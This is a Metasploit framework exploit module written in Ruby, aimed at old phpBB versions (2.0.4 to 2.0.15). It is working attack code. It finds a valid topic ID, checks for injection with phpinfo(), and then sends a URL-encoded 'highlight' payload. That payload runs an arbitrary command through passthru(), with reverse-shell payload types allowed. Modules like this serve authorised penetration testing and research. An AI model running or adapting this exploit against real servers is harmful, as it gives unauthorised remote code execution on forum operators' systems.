phpBB viewtopic.php Arbitrary Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'phpBB viewtopic.php Arbitrary Code Execution',
        'Description' => %q{
          This module exploits two arbitrary PHP code execution flaws in the
          phpBB forum system. The problem is that the 'highlight' parameter
          in the 'viewtopic.php' script is not verified properly and will
          allow an attacker to inject arbitrary code via preg_replace().

          This vulnerability was introduced in revision 3076, and finally
          fixed in revision 5166. According to the "tags" within their tree,
          this corresponds to versions 2.0.4 through 2.0.15 (inclusive).
        },
        'Author' => [ 'valsmith[at]metasploit.com', 'hdm', 'aushack' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2005-2086'],
          [ 'CVE', '2004-1315'],
          [ 'OSVDB', '11719'],
          [ 'OSVDB', '17613'],
          [ 'BID', '14086'],
          [ 'BID', '10701'],
        ],
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true,
          'Space' => 1024,
          'Compat' =>
                        {
                          'PayloadType' => 'cmd cmd_bash',
                          'RequiredCmd' => 'generic perl ruby python bash-tcp telnet',
                        }
        },
        'Notes' => {
          'Stability' => [Msf::CRASH_SAFE],
          'SideEffects' => [],
          'Reliability' => [],
          'AKA' => ['ESMARKCONANT']
        },
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Targets' => [
          [ 'Automatic',	{}],
          [ 'phpbb <=2.0.10',	{}],
          [ 'phpbb <=2.0.15',	{}],
        ],
        'DisclosureDate' => '2004-11-12',
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        OptString.new('URI', [true, "The phpBB root Directory", "/phpBB2"]),
        OptString.new('TOPIC', [false, "The ID of a valid topic"]),
      ]
    )
  end

  def find_topic
    1.upto(32) do |x|
      res = send_request_raw({
        'uri'	=> normalize_uri(datastore['URI'], '/viewtopic.php') + '?topic=' + x.to_s,
      }, 25)

      if (res and res.body.match(/class="postdetails"/))
        print_status("Discovered valid topic ID: #{x}")
        return x
      end
    end
    return false
  end

  def exploit
    topic = datastore['TOPIC'] || find_topic

    if !(topic)
      print_status("No valid topic ID found, please specify the TOPIC option.")
      return
    else

      sploit = normalize_uri(datastore['URI'], "/viewtopic.php") + "?t=#{topic}&highlight="

      case target.name
      when /Automatic/
        req = "/viewtopic.php?t=#{topic}&highlight=%2527%252ephpinfo()%252e%2527"

        res = send_request_raw({
          'uri'	=> normalize_uri(datastore['URI'], req)
        }, 25)

        print_status("Trying to determine which attack method to use...")

        if (res and res.body =~ /\<title>phpinfo/)
          byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e')
          sploit << "%2527%252epassthru(#{byte})%252e%2527"
        else
          byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.')
          sploit << "%27.passthru(#{byte}).%27"
        end

      when /2\.0\.10/
        byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e')
        sploit << "%2527%252epassthru(#{byte})%252e%2527"
      when /2\.0\.15/
        byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.')
        sploit << "%27.passthru(#{byte}).%27"
      end

      res = send_request_raw({
        'uri'	=> sploit
      }, 25)

    end
  end
end